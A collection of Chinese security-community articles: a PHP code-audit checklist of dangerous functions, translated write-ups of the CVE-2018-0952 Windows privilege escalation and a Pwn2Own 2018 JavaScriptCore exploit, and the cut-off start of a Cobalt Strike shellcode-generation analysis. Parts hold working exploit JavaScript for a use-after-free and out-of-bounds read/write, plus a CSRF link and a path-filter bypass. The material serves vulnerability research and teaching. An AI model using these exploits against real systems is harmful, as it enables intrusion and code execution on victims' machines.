所以一般我是根据漏洞类型，以及每个漏洞可能涉及的危险函数，去快速定位。
那一般看的地方有SQL注入、XSS、CSRF、SSRF、XML外部实体注入等等
#### 6.2.1. sql注入
来自 梅子酒师傅的
《[对PHP类CMS审计的一点总结](https://meizjm3i.github.io/2018/04/04/%E5%AF%B9PHP%E7%B1%BBCMS%E5%AE%A1%E8%AE%A1%E7%9A%84%E4%B8%80%E7%82%B9%E6%80%BB%E7%BB%93/)》
1. 如果使用了框架，可以分辨一下框架名称以及版本，去搜索一下该版本的框架是否存在漏洞，如果存在再去cms中验证。因为本篇文章主要讲我自己在cms审计上的一些经验，因此不多深入框架的审计部分。
2. 如果没有使用框架，则需要仔细的观察数据库函数，一般来说，cms是将select、insert等函数进行了封装的，比如$db->table(‘test’)->where(“name=admin”)便是 select * from test where name=admin这种格式，而此时若是发现cms使用的是过滤+拼接，那么很有可能会出现问题，而如果使用了PDO，则继续跟进涉及到table，order by等字段的拼接去，因为这些字段是无法使用PDO的。
审计要素：
* 参数是否用户可控
* 是否使用了预编译
那么首先，如果没有使用框架封装的sql语句，那么全局搜索insert、select等sql语句关键词，然后定位到具体的语句，然后查看里面有没有拼接的变量，回溯可不可控。如果可控并且存在字符串拼接，很有可能就存在漏洞。
使用了框架的就是搜索的关键词不一样，还是得看是否存在字符串拼接，可不可控。
即使使用了预编译，但是如果在预编译之前字符串拼接了，那照样没有鸟用，该注入还是能注入。
下面提供一般我会搜索的关键词（框架的根据你审计项目的框架的手册，自行搜索。）师傅们有想补充的也可以补充。
insert
create
delete
update
order by
group by
where
from
limit
desc
asc
union
select
#### 6.2.2. xss漏洞
审计要素
* 是否存在全局参数过滤器，过滤规则是否符合安全要求，是否存在需过滤和不需过滤两种输出，页面是否控制恰当。
* 输出时是否进行编码（HTML、JS等）。
* 前端是否采用了Angularjs、React、vue.js等具有XSS防护功能的前端框架进行数据输出。
这个的话，我就不会关键词搜了，我就是会在寻找其他漏洞的过程中，注意有没有直接把输入原样输出的地方，也没有特别关注这一块。
如果想特意挖掘这一块，可以
查看是否配置了全局的拦截器、过滤器。检查数据输出函数，例如常用的输出函数有print、print_r、echo、printf、sprintf、die、var_dump、var_export。
#### 6.2.3. CSRF漏洞
与XSS攻击相比，CSRF攻击往往不大流行（因此对其进行防范的资源也相当稀少）和难以防范，所以被认为比XSS更具危险性。
审计要素
* 是否在表单处存在随机token。
* 是否存在敏感操作的表单。
CSRF主要利用场景实际上是一些越权的操作，或者一些敏感功能存在的地方，例如管理后台、会员中心等地方。我们可以尝试搜索表单位置，查看是否会生成随机token，在查看后端代码中是否会先验证这部分的token。如果没有验证token，再进一步看看是否有refer的相关验证，如果没有，那么就存在CSRF的问题。
可以尝试全局搜索
csrf-token
csrf_token
csrftoken
csrf
下面是一个更新密码的操作，假设构造一个链接为
http://127.0.0.1/index.php?password_new=password&password_conf=password&Change=Change#的链接，直接发送给受害者点击，那么当前情况下，可以直接修改受害者的密码，因为没有进行任何的验证措施。当然一般代码不会这么写，只是拿DVWA的CSRF举个例子。
#### 6.2.4. SSRF漏洞
ssrf是利用存在缺陷的web应用作为代理攻击远程和本地的服务器。常见的方式如下：
1.可以对外网、服务器所在内网、本地进行端口扫描，获取一些服务的banner信息;
2.攻击运行在内网或本地的应用程序（比如溢出）;
3.对内网web应用进行指纹识别，通过访问默认文件实现;
4.攻击内外网的web应用，主要是使用get参数就可以实现的攻击（比如struts2，sqli等）;
5.利用file协议读取本地文件等。
审计要素:
* 是否存在可以产生SSRF漏洞的函数。
* 是否存在内网ip地址正则过滤，且正则是否严谨。
* 是否存在限制请求的方式只能为HTTP或者HTTPS。
当然PHP底下经常可能会出现SSRF漏洞的主要有几个函数，它们分别是file_get_contents()、fsockopen()、curl_exec()、get_headers()。通过全文关键函数搜索，在看是否限制了访问端口，访问协议，内网ip地址等。
利用file://、http/https:// 、dict://、gopher://协议去搞内网。
列一下，我经常搜索的关键词
file_get_contents
fsockopen
curl_exec
get_headers
fopen
readfile
注意
1. 一般情况下PHP不会开启fopen的gopher wrapper
2. file_get_contents的gopher协议不能URL编码
3. file_get_contents关于Gopher的302跳转会出现bug，导致利用失败
4. curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用
5. curl_exec() //默认不跟踪跳转，
6. file_get_contents() // file_get_contents支持 php://input协议
各种绕过，我就不在这说了。
#### 6.2.5. XML外部实体注入
审计要素
* 参数是否用户可控
* 是否libxml版本为2.9.0以上
* 是否禁用了外部实体
这个一般我关注的少，仅仅是搜索“DOMDocument”，“SimpleXMLElement”和“simplexml_load_string”等关键词，分析下是否存在参数拼接的XML字符串，或未做限制的批量解析方法。对参数进行回溯，判断其是否用户可控。
差不多就没啥了。
#### 6.2.6. 文件包含漏洞
审计要素
* 参数是否用户可控
* 是否存在include，require，include_once, require_once等函数。
文件包含算是拿shell最快的方法了，所以一般要重点关注。
无非是include，require，include_once,
require_once这四个函数，全局搜索这四个函数，一个一个去看，去回溯，查看变量可不可控。
#### 6.2.7. 文件上传漏洞
审计要素
* 是否检查了上传文件的文件类型
* 是否限制了文件上传路径
* 是否对文件进行了重命名
* 文件大小是否限制
* 是否返回了文件路径或文件路径很好猜测
有的项目，会对文件上传下载进行分装，所以可以全局搜索有关upload、file的函数，看看是不是封装了
function upload
function file
如果封装了，那么就看这些封装好的函数，有没有上面提到的审计要素的漏洞。
如果没封装，一般是move_uploaded_file这个函数，全局搜索，这个函数，回溯查看这些漏洞存不存在。（白盒黑盒一起搞比较好。）
#### 6.2.8. 变量覆盖
审计要素
* 是否存在造成变量覆盖的函数，例如：extract()、parse_str()、import_request_variables和$$等。
* 是否存在可以完整利用的攻击链。
一般就这几个函数和关键词
extract
parse_str
import_request_variables
mb_parse_str
$$
不过还有个特殊的配置，也可能造成变量覆盖
下面的部分来自mi1k7ea师傅[PHP变量覆盖漏洞](https://www.mi1k7ea.com/2019/06/20/PHP%E5%8F%98%E9%87%8F%E8%A6%86%E7%9B%96%E6%BC%8F%E6%B4%9E/#0x02-register-globals%E5%85%A8%E5%B1%80%E5%8F%98%E9%87%8F%E8%A6%86%E7%9B%96)
register_globals全局变量覆盖
php.ini中有一项为register_globals，即注册全局变量，当register_globals=On时，传递过来的值会被直接的注册为全局变量直接使用，而register_globals=Off时，我们需要到特定的数组里去得到它。
**注意：register_globals已自 PHP 5.3.0 起废弃并将自 PHP 5.4.0 起移除。**
当register_globals=On，变量未被初始化且能够用户所控制时，就会存在变量覆盖漏洞：
<?php
echo “Register_globals: “ . (int)ini_get(“register_globals”) . “<br/>“;
if ($a) {
echo “Hacked!”;
}
?>
通过GET和POST方式输入变量a的值：
当然，也可以从COOKIE中输入：
#### 6.2.9. 代码执行漏洞
审计要素
* php.ini文件中的disable_function是否有禁用函数。
* 是否存在代码执行的敏感函数。
* 是否输入变量可控。
全局搜索下面的关键词，回溯参数可不可控。
eval
asser
preg_replace
create_function
array_map
call_user_func
call_user_func_array
array_filter
usort
uasort
$a($b)（动态函数）
#### 6.2.10. 命令执行漏洞
审计要素
* 参数是否用户可控
* 是否配置了全局过滤器，过滤规则是否符合安全规范
* 是否所有的命令执行参数都经过了过滤器，或受白名单限制
全局搜索下面的关键词，回溯参数可不可控。
exec
passthru
proc_open
shell_exec
system
pcntl_exec
popen
“（被反引号包裹的变量也可以执行）
#### 6.2.11. 任意文件下载/下载漏洞审计
审计要素
* 是否存在../、.、..\等特殊字符过滤。
* 参数是否用户可控
* 是否配置了相对路径或者绝对路径。
查询这些关键词，查看变量是否可控，是否有过滤
fgets
fgetss
file_get_contents
readfile
parse_ini_file
highlight_file
file
fopen
readfile
fread
**Tip:**
前两天遇到个，过滤了config/database.php这样的正则匹配，还过滤了..，目的是防止目录穿越，读取服务器其他目录的文件，可是没过滤一个.
这样我使用config/./database.php绕过了正则，照样把敏感文件读取出来了。。。
#### 6.2.12. 任意文件删除
和上面的下载一样
搜索的关键词变了
rmdir
unlink
#### 6.2.13. 任意文件写入
还是一样，关键词为
copy
file_put_contents
fwrite
#### 6.2.14. 会话认证漏洞
会话认证漏洞实际上涉及的方面比较广，如cookie、session、sso、oauth等，当然这个漏洞比较常见是在cookie上，服务端直接取用cookie中的数据而没有校验，其次是cookie加密数据在可预测的情况下。
审计要素
* 是否cookie中的加密数据可预测。
* 是否cookie中的数据可预测。
* 服务端是否只依赖cookie来判断用户身份。
全局去寻找cookie生成的逻辑，判断是否可预测，判断用户身份是否只依赖cookie，而不是随机的，比如
鉴权是只通过cookie中的userid来判断，如果我遍历userid，可以达到登录绕过或越权的目地。
#### 6.2.15. 反序列化漏洞
一般实际审计的时候，项目中见的比较少，框架中见的比较多。
全局搜索serialize。看看存不存在可控变量。
很早之前写过这个系列的小结
[序列化（一）利用-phar-拓展-php-反序列化漏洞攻击面](https://urdr-gungnir.github.io/post/%E5%BA%8F%E5%88%97%E5%8C%96%EF%BC%88%E4%B8%80%EF%BC%89%E5%88%A9%E7%94%A8-phar-%E6%8B%93%E5%B1%95-php-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E6%94%BB%E5%87%BB%E9%9D%A2.html)
[序列化（二）session反序列化](https://urdr-gungnir.github.io/post/%E5%BA%8F%E5%88%97%E5%8C%96%EF%BC%88%E4%BA%8C%EF%BC%89session%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96.html)
[序列化（三）原生类反序列化](https://urdr-gungnir.github.io/post/%E5%BA%8F%E5%88%97%E5%8C%96%EF%BC%88%E4%B8%89%EF%BC%89%E5%8E%9F%E7%94%9F%E7%B1%BB%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96.html)
## 0x07 参考
[对PHP类CMS审计的一点总结](https://meizjm3i.github.io/2018/04/04/%E5%AF%B9PHP%E7%B1%BBCMS%E5%AE%A1%E8%AE%A1%E7%9A%84%E4%B8%80%E7%82%B9%E6%80%BB%E7%BB%93/)
<http://www.oriole.fun/index.php/archives/69/>
[PHP变量覆盖漏洞小结](https://www.mi1k7ea.com/2019/06/20/PHP%E5%8F%98%E9%87%8F%E8%A6%86%E7%9B%96%E6%BC%8F%E6%B4%9E/#0x02-register-globals%E5%85%A8%E5%B1%80%E5%8F%98%E9%87%8F%E8%A6%86%E7%9B%96)
还有狼组wiki中的文章
## 0x08 总结
这篇文章，就是自己总结下审计的流程，或许有很多不足、缺漏，希望师傅们谅解及指正。
审计是一件很难一概而论的事情，有时会很枯燥，看代码看的头疼，但自己找到0day的感觉，是非常不一样的，加油吧，师傅们。 | 社区文章 |
# CVE-2018-0952：Windows Standard Collector Service中的权限提升漏洞
|
##### 译文声明
本文是翻译文章，文章来源：atredis.com
原文地址：<https://www.atredis.com/blog/cve-2018-0952-privilege-escalation-vulnerability-in-windows-standard-collector-service>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
如果大家不想深入了解这个漏洞的发现过程，可以简单阅读一下[这篇文章](https://github.com/atredispartners/advisories/blob/master/ATREDIS-2018-0004.md)以及相关的[PoC代码](https://github.com/atredispartners/CVE-2018-0952-SystemCollector)。
我在研究及研发方面非常喜欢使用[Process Monitor](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon)这款工具。在开发攻击型安全工具时，我经常使用Procmon来监控这些工具如何与Windows交互以及相应的检测方法。今年早些时候，当我使用Visual
Studio来调试一些代码并使用Procmon来监控代码行为时，我注意到了一些有趣的行为。通常情况下我会在Procmon中设置针对Visual
Studio进程的例外过滤器，降低输出中的噪音事件，但在设置过滤器之前，我注意到有个SYSTEM进程会往用户目录中写入数据。
图1. `StandardCollector.Service.exe`往用户`Temp`目录中写入数据
如果某个特权服务会往用户资源中写入数据，就很有可能存在符号链接（symlink）攻击向量，比如我之前发现的[Cylance权限提升漏洞](https://www.atredis.com/blog/cylance-privilege-escalation-vulnerability)一样。为了确认我们如何才能影响该服务的具体行为，我查看了服务已加载的库，开始深入研究Standard Collector
Service。
图2. `StandardCollector.Service.exe`加载的Visual Studio DLL文件
## 二、发现过程
根据这些程序库的具体路径，我们可以判断出Standard Collector Service是Visual
Studio的一款诊断工具。查看相关目录中的库及可执行文件后，我发现其中某些程序使用的是.NET语言来开发，比如其中有个独立的CLI工具（`VSDiagnostics.exe`），该工具的帮助信息如下所示：
图3. VSDiagnostics CLI工具的帮助信息
我们可以使用[dnSpy](https://github.com/0xd4d/dnSpy)加载VSDiagnostics，了解该工具的一些信息，发现工具如何与Standard
Collector
Service交互。首先，应用会获取`IStandardCollectorService`的一个实例并使用会话配置来创建`ICollectionSession`：
图4. 配置diagnostics collection session的初始步骤
接下来使用CLSID以及DLL名称将agent添加到`ICollectionSession`中，这种行为也是用户可以控制的一种有趣的行为，我还记得[之前](https://www.zerodayinitiative.com/advisories/ZDI-16-372/)也曾通过这种DLL加载行为来[利用漏洞](https://bugs.chromium.org/p/project-zero/issues/detail?id=887)。目前看来，Visual Studio Standard Collector
Service貌似与Windows 10自带的Diagnostics Hub Standard Collector
Service非常相似或者完全相同。为了验证这一点，我使用[OleViewDotNet](https://github.com/tyranid/oleviewdotnet)来查询这些服务所支持的接口：
图5. OleViewDotNet中显示的Windows Diagnostics Hub Standard Collector Service
查看`IStandardCollectorService`的代理定义后，我们可以找到其他一些熟悉的接口，尤其是VSDiagnostics中的`ICollectionSession`接口：
图6. OleViewDotNet中的ICollectionSession接口定义
记下接口ID信息（“IID”），然后返回.NET interop库，比较这两个接口的IID，发现这些值并不一致：
图7. Visual Studio ICollectionSession使用了不同的IID
进一步深入分析.NET代码，我发现Visual Studio的这些特定接口会通过代理DLL来加载：
图8. `VSDiagnostics.exe`中用来加载DLL的函数
快速查看`DiagnosticsHub.StandardCollector.Proxy.dll`中的`ManualRegisterInterfaces`函数后，我们可以发现其中有一段简单的循环代码，用来遍历一组IID，其中就包含`ICollectionSession`对应的一个IID：
图9. 代理DLL中的`ManualRegisterInterfaces`函数
图10. 待注册的IID数组中包含Visual Studio的`ICollectionSession` IID
进一步理解Visual Studio Collector Service后，我想试一下能否复用同样的.NET interop代码来控制Windows
Collector Service。为了与正确的服务进行交互，我需要将Visual Studio的CLSID以及IID替换为Windows
Collector Service对应的CLSID以及IID，使用修改后的代码来生成一个客户端，该客户端的作用是使用collector
service创建并启动一个诊断会话：
图11. 与Collector Service交互的客户端代码片段
启动Procmon，运行客户端后我们可以在看到有些文件和目录会在`C:\Temp`临时目录中创建。在Procmon中分析这些日志后，我们可以看到第一次目录创建操作其实使用到了[client
impersonation](https://docs.microsoft.com/en-us/windows/desktop/SecAuthZ/client-impersonation)技术：
图12. 通过身份模拟（impersonation）方式在临时目录中创建会话文件夹
虽然首次创建目录时使用了用客户端身份，但后续文件及目录创建操作并没有遵循这个原则：
图13. 未使用身份模拟来创建目录
进一步分析其他文件操作后，我又找到了几个比较突出的信息。Standard Collector
Service执行了各种文件操作，如下图所示，我在图中做了相应注释：
图14. Standard Collector Service执行的各种文件操作
这里最有趣的操作就是在诊断报告生成期间执行的文件复制操作，该操作对应的调用栈以及事件如下图所示：
图15. Standard Collector Service执行的`CopyFile`操作
## 三、编写PoC
现在我们已经找到能被用户影响的操作，我构想了一个可能利用的任意文件创建过程，包括如下几步：
1、一旦服务调用`CloseFile`，就立刻获取ETL文件（`{GUID}.1.m.etl`）的op-lock锁；
2、查找对应的子目录并将转成指向`C:\Windows\System32`的挂载点；
3、将`{GUID}.1.m.etl`的内容替换成恶意DLL；
4、释放op-lock，允许通过挂载点来拷贝ETL文件；
5、将拷贝的ETL作为agent DLL来启动新的collection session，提升权限执行代码。
为了编写利用代码，我扩展了客户端的功能，利用James Forshaw编写的[NtApiDotNet
C#](https://github.com/google/sandbox-attacksurface-analysis-tools/tree/master/NtApiDotNet)库来创建op-lock以及挂载点。请求op-lock的代码片段以及Procmon中对应的事件如以下两图所示：
图16. 获取`.etl`文件op-lock的代码片段
图17. 使用op-lock赢得竞争条件
获取文件的op-lock最终会停止`CopyFile`竞争操作，使目标内容可以被覆盖，这样在`CopyFile`操作时也能执行我们所需的操作。接下来漏洞利用程序会查找Report目录，扫描该目录，找到需要转换为挂载点的随机子目录。一旦成功创建挂载点，`.etl`的内容会被替换成恶意DLL文件。最后，利用程序会关闭`.etl`文件，释放op-lock，使`CopyFile`操作能继续进行。相应的代码片段以及Procmon的输出下图所示：
图18. 创建挂载点、覆盖`.etl`文件然后释放op-lock的代码片段
图19. 利用挂载点目录实现任意文件写入
有多种方法可以利用任意文件写入实现权限提升，但在这个利用程序中，我选择使用Collector服务的agent
DLL加载功能使利用过程保持在同一个服务上下文中。在上图中大家可能会注意到一点，那就是我没有使用挂载点+符号链接的技巧将文件后缀名改成`.dll`，这是因为DLL在加载时可以使用任意扩展名。在利用过程中，DLL文件只需位于`System32`目录就可以被Collector服务加载。最终利用程序会被成功执行，如下图所示：
图20. `SystemCollector.exe`利用程序的输出信息
相应的Procmon事件如下图所示：
图21. 成功利用漏洞时的Procmon输出
以上两图显示利用程序是以“Admin”用户的权限来运行，下面我使用“bob”这个低权限用户来运行漏洞利用程序，动图如下：
图22. 以低权限用户运行漏洞利用程序
大家可以自己尝试运行[SystemCollector
PoC](https://github.com/atredispartners/CVE-2018-0952-SystemCollector)代码，将PoC代码转换成可以实际使用的攻击武器就留待大家来完成。`NtApiDotNet`库是一个PowerShell模块，使用起来非常方便。
## 四、漏洞修复
这个漏洞已于2018年8月的补丁星期二中被修复，我逆向分析了相应的补丁。与我预期的一样，补丁只是简单地在存在漏洞的文件操作前（即`DiagnosticsHub.StandardCollector.Runtime.dll`中的`CommitPackagingResult`函数）添加了`CoImpersonateClient`调用：
图23. 使用身份模拟来创建Report目录
图24.
在`DiagnosticsHub.StandardCollector.Runtime.dll`的`CommitPackagingResult`函数中添加`CoImpersonateClient`
## 五、总结
我在Cylance权限提升的write-up中曾提到过，防范符号链接攻击虽然看上去可能比较简单，但经常被人们忽视。只要特权服务会以用户的身份来执行文件操作，就需要正确使用身份模拟操作，避免存在此类攻击风险。
发现这个漏洞后，我向MSRC提交了漏洞细节以及PoC，MSRC反应非常快，迅速标识并确认了这个漏洞，并通过定期更新修复了这个问题，完整的披露时间线可以参考[此处链接](https://github.com/atredispartners/advisories/blob/master/ATREDIS-2018-0004.md)。
该漏洞的CVE编号为[CVE-2018-0952](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0952)，如有任何疑问或者建议，欢迎随时联系我：@ryHanson。 | 社区文章 |
原文：<https://blog.ret2.io/2018/07/11/pwn2own-2018-jsc-exploit/>
俗话说，龙生九子各不相同，实际上，软件bug也是如此，它们具有不同的形式和危害。有时，这些代码缺陷（或“不对称”）可用于破坏软件的运行时完整性。这种区别有助于研究人员将简单的[可靠性问题](https://en.wikipedia.org/wiki/Software_bug
"可靠性问题")与[安全漏洞](https://en.wikipedia.org/wiki/Malware#Security_defect
"安全漏洞")区分开来。在极端情况下，某些漏洞可以通过精心的策划来加剧这种不对称性，最终导致灾难性的软件故障，即任意代码执行——这就是我们所说的软件漏洞的武器化。
在这篇文章中，我们将为读者详细介绍武器化Safari
Web浏览器中的一个[软件漏洞](http://blog.ret2.io/2018/06/19/pwn2own-2018-root-cause-analysis/#arrayreverse-considered-harmful
"软件漏洞")（CVE-2018-4192）的具体过程，最终的结果就是，一旦毫无戒心的受害者执行了点击操作，攻击者就可以藉此执行任意代码了。这是漏洞利用开发生命周期中最常见的讨论主题，也是Pwn2Own
2018系列中的第四篇文章。
CVE-2018-4192的武器化版本，可以利用2018年初的JavaScriptCore执行任意代码
如果还没有读过本系列前面的文章的话，建议读者先阅读介绍该漏洞[发现过程](http://blog.ret2.io/2018/06/13/pwn2own-2018-vulnerability-discovery/
"发现过程")的文章，然后再阅读该漏洞的[可靠性问题](https://en.wikipedia.org/wiki/Software_bug
"可靠性问题")[根源分析](http://blog.ret2.io/2018/06/19/pwn2own-2018-root-cause-analysis/
"根源分析")方面的文章。此外，在本系列的[第一篇文章](http://blog.ret2.io/2018/06/19/pwn2own-2018-root-cause-analysis/ "第一篇文章")中，我们对完整漏洞利用链的进行了高屋建瓴式的描述。
**漏洞利用原语**
* * *
在开发针对经过[安全加固](https://en.wikipedia.org/wiki/Hardening_\(computing)
"安全加固")的软件或其他复杂软件的漏洞利用代码时，通常需要使用一个或多个漏洞来构建所谓的“漏洞利用原语”。通俗的说，原语是指攻击者可以执行的、以非预期的方式操纵或[暴露](http://ifsec.blogspot.com/2011/06/memory-disclosure-technique-for.html "暴露")应用程序运行时（例如，内存）的操作。
作为漏洞利用的积木，原语一般用于破坏软件完整性，或通过运行时内存的高级（通常是任意）修改来绕过现代安全防御措施。有时候，攻击者可以利用漏洞将多个原语串起来实现任意代码执行的最终目标，并且这种情况并不罕见。
软件漏洞的多态性，作者为Joe Bialek和Matt Miller（幻灯片6-10）
一般来说，只要攻击者可以实现"任意读/写"原语，那么，在这种情况下，防御方还想为应用程序提供保护的想法就是不切实际的（如果不是不可能的话）。任意R/W意味着攻击者可以对应用程序运行时内存的整个地址空间执行任意数量的读取或写入操作。
尽管功能非常强大，但任意的R/W原语却是一种奢侈品，并且对于漏洞利用来说，也并不总是可行（或必要）的。但是，当它存在时，它通常被[认为](https://twitter.com/qlutoo/status/925502507228508162
"认为")是通向全面胜利（任意代码执行）的必经之路。
**原语的分层**
* * *
从教学的角度来看，我们为Pwn2Own 2018开发的JavaScriptCore漏洞利用代码，可以看作是一个展示如何对日益强大的原语进行分层的实例。
从发现的漏洞开始，我们将JSC漏洞利用过程分解为六个不同的阶段，并为每个阶段创建相应的漏洞利用原语：
1. 使用竞争条件漏洞（UAF）强制释放JSArray butterfly
2. 使用释放的butterfly来获得相对读/写（R/W）原语
3. 使用相对R/W创建通用的addrof(...)和fakeobj(...)漏洞利用原语
4. 使用通用的漏洞利用原语从伪造的TypedArray构建任意R/W原语
5. 利用任意R/W原语来覆盖一个具有读/写/执行（RWX）权限的JIT内存页
6. 从相应的JIT内存页执行任意代码
每个步骤都要求我们研究一些不同的JavaScriptCore内部运行机制，为此，要求我们仔细审查WebKit源代码、现有文献以及动手实验。在这篇文章中，我们虽然会介绍其中的一些内部机制，但主要任务，还是介绍如何利用它们来构建漏洞原语。
**选择UAF目标**
* * *
从上一篇文章中我们了解到，我们发现的[竞争条件](http://blog.ret2.io/2018/06/19/pwn2own-2018-root-cause-analysis/#arrayreverse-considered-harmful
"竞争条件")可以用于过早地释放任何类型的JS对象，方法是将它放在一个数组中，并在关键时刻调用array.reverse()。这样就可以创建一个畸形的运行时状态，在这种状态下，被释放的对象可以被所谓的"[释放使用后](https://cwe.mitre.org/data/definitions/416.html
"释放使用后")"（UAF）攻击所继续使用。
我们可以将这种不正规地释放任意JS对象(或其内部内存分配)的能力视为针对JSC的特定类的漏洞利用原语。下一步是找到一个所需的目标（并将其释放）。
在漏洞利用代码的开发过程中，类似数组这种需要维护一个内部“长度”字段的结构体。对攻击者来说是非常具有吸引力的。如果攻击者可以破坏这些动态长度字段，通常就能够访问数组边界之外的内存，从而创建出更强大的漏洞利用原语。
通过破坏类数组结构中的长度字段，可以对数组进行越界操作
在JavaScriptCore中，一个与上面描述的模式匹配的、特别有趣且易于访问的结构是JSArray对象的butterfly结构。butterfly是JSC用来存储JS对象属性和数据（例如数组元素）的结构，同时，它还维护了一个长度字段，用来约束用户对其内存空间的访问情况。
作为一个例子，下面的gdb转储与图表展示了一个JSArray及其后备存储（butterfly）内存空间，其中，我们已经填充了[浮点数](https://en.wikipedia.org/wiki/Floating-point_arithmetic "浮点数")（用0x4141414141414141
...表示）。绿色字段描绘了butterfly结构的内部管理大小字段：
转储一个JSArray，并描绘与其butterfly的关系
在Phrack上有一篇名为“[Attacking JavaScript
Engines](http://phrack.org/papers/attacking_javascript_engines.html "Attacking
JavaScript Engines")”（第1.2节）的文章，其中对butterflie进行了深入的介绍：
“在内部，JSC将[JS对象]的属性和元素都存储在同一个内存区域中，并在对象本身中存储一个指向该区域的指针。该指针指向区域的中间位置，属性存储在其左侧（较低地址），而该地址右侧则用于存放元素。在指向该地址的指针前面，还有一个小头部字段，用来存放元素向量的长度。这个概念被称为“Butterfly”，因为属性和元素分别向左和向右扩展，类似于蝴蝶的翅膀。”
在下一节中，我们将利用漏洞强行释放butterfly。这将在一个处于活动状态的JSArray中留下一个悬空的butterfly指针，以便于恶意重用（UAF）。
**强行构建一个有用的UAF漏洞**
* * *
由于我们的竞争条件有点混乱，因此，我们希望通过构建一个包含大量简单“浮点数组”的顶级数组，来开始我们的漏洞利用之旅（用JavaScript编写），以提高我们至少释放其中一个数组的机会(即"赢得比赛"):
print("Initializing arrays...");
var someArray1 = Array(1024);
for (var i = 0; i < someArray1.length; i++)
someArray1[i] = new Array(128).fill(2261634.5098039214) // 0x41414141…
...
请注意，浮点数的使用在浏览器漏洞利用中是非常常见的，因为它们是少有的本机64位JS类型之一。它允许人们（连续）读取或写入任意64位值到备用数组butterfly中，这一点将在后文中加以解释。
由于目标数组会根据someArray1的元素来分配内存空间，所以，我们将通过重复使用array.reverse()并激发GC（以帮助安排mark-and-sweeps操作）来触发竞争条件：
...
print("Starting race...");
v = []
for (var i = 0; i < 506; i++) {
for(var j = 0; j < 0x20; j++)
someArray1.reverse()
v.push(new String("C").repeat(0x10000)) // stimulate the GC
}
...
如果成功，会释放一个或多个供存储在someArray1中的浮点数组使用的butterfly结构。我们的结果将如下图所示：
竞争条件将释放堆中的一些butterfly结构，同时保持其JSArray单元完好无损
在竞争条件状态下，JSArray
v将扩展其butterfly（通过压入操作），最终导致该数组的butterfly分配到刚刚释放的butterfly的内存空间。
“v”的butterfly结构最终会到刚释放的butterfly的内存空间上面重新分配内存
为了验证这一点，我们可以检查与竞争条件相关的所有数组的长度。如果成功的话，应该会找到一个或多个长度异常的数组。这表明butterfly已被释放，现在它是一个悬空指针，指向一个新对象（具体来说，就是v）所拥有的内存。
...
print("Checking for abnormal array lengths...");
for (var i = 0; i < someArray1.length; i++) {
if(someArray1[i].length == 128) // ignore arrays of expected length...
continue;
print('len: 0x' + someArray1[i].length.toString(16));
}
我们可以利用本节中提供的代码片段新建一个PoC脚本，并将其命名为x.js。
通过重复运行这个脚本，可以看到，该漏洞会稳定地报告多个长度异常的JSArray。这证明某些数组的butterfly结构已经通过竞争条件被释放，从而失去了对其基础数据的所有权（现在，它们属于对象v）。
PoC的输出信息表明，在每次运行期间都会显示畸形的数组长度，这意味着可能出现了一些无边界的（畸形的）数组
显然，我们已经使用竞争条件强制一个或多个（随机）JSArray的butterfy被UAF，并且，这些悬空的butterfly指针所指向的，都是一些未知数据。
通过竞争条件漏洞，利用一个或多个释放的butterfly结构，我们就可以操纵为对象v分配的空间之外的内存了。不难看出，通过完全控制上面所讨论的“畸形的”数组长度，实际上就已经实现了所谓的“相对R/W”漏洞利用原语。
**相对R/W原语**
* * *
通过用任意数据（在这个例子中，使用的是浮点数）填充较大的、被覆盖的butterfly v，我们就能够在不经意间设置由一个或多个释放的JSArray
butterfly所指向的“length”属性。为了为此上述任务，只需向我们的PoC添加一行代码就行了（v.fill（...））：
print("Initializing arrays...");
var someArray1 = Array(1024);
for (var i = 0; i < someArray1.length; i++)
someArray1[i] = new Array(128).fill(2261634.5098039214) // 0x41414141...
print("Starting race...");
v = []
for (var i = 0; i < 506; i++) {
for(var j = 0; j < 0x20; j++)
someArray1.reverse()
v.push(new String("C").repeat(0x10000)) // stimulate the GC
}
print("Filling overlapping butterfly with 0x42424242...");
v.fill(156842099844.51764)
print("Checking for abnormal array lengths...");
for (var i = 0; i < someArray1.length; i++) {
if(someArray1[i].length == 128) // ignore arrays of expected length...
continue;
print('len: 0x' + someArray1[i].length.toString(16));
}
将这个PoC重复执行几次，我们会看到多个数组声称其数组长度为0x42424242，说明这个POC的作用是很稳定的。对于任何开发人员来说，已损坏的或根本不正确的数组长度都是非常让人非常揪心的。
PoC可以稳定地输出多个其长度处于攻击者控制之下的数组
这样的话，有效长度已经对这些“畸形的”（悬空）数组butterfly起不到限制作用了。所以，现在从someArray1中提取一个畸形的JSArray对象，并按照常规方法使用，就可以通过远超其“预期”的数组长度来索引其附近的堆内存来实现相应的读写操作了（相对寻址方式）。
// pull out one of the arrays with an 'abnormal' length
oob_array = someArray1[i];
// write the value 0x41414141 to array index 999999 (Out-of-Bounds Write)
oob_array[999999] = 0x41414141;
// read memory from index 987654321 of the array (Out-of-Bounds Read)
print(oob_array[987654321]);
越界读写是一个非常强大的漏洞利用原语。作为攻击者，我们已经可以窥视并操纵运行时内存的其他部分了，就像我们使用调试器时一样。
好了，迄今为止，我们已经有效地突破了应用程序运行时的第四道防护栏。
**小结**
* * *
在本文中，我们为读者介绍了漏洞利用原语的概念，并讲解了渐进式原语构建的理念，同时，还详细介绍了UAF目标的选取、强行构造UAF漏洞的方法以及如何利用该漏洞构建相对读写原语的方法，更多精彩内容，将在本文的下篇中继续为读者展示。 | 社区文章 |
木马是黑客实施网络攻击的常用兵器之一，有些木马可以通过免杀技术的加持躲过杀毒软件的查杀。本文由锦行科技的安全研究团队提供（作者：t43M!ne），旨在通过剖析CS木马生成过程以及开发免杀工具，帮助大家更好地理解CS木马的Artifact生成机制。
## 什么是Cobaltstrike？
Cobaltstrike是用于红队行动、APT攻击模拟的软件，它具备很强大的协同能力和难以置信的可扩展性。
无论是编写 shellcode，创建自定义的
C2二进制可执行文件，还是修改代码来隐藏恶意程序，它们都是红队日常工作的一部分，阅读和理解成熟的C2框架代码也是理所当然的事情。
## CobaltStrike如何生成ShellCode？
CS是使用Swing进行UI开发的，代码中直接找对话框对应操作类。
aggressor\dialogs\WindowsExecutableDialog.class
可以看到很清晰的生成逻辑。
通过 DialogUtils.getStager() 获得生成的 stager 然后通过 saveFile 保存文件。
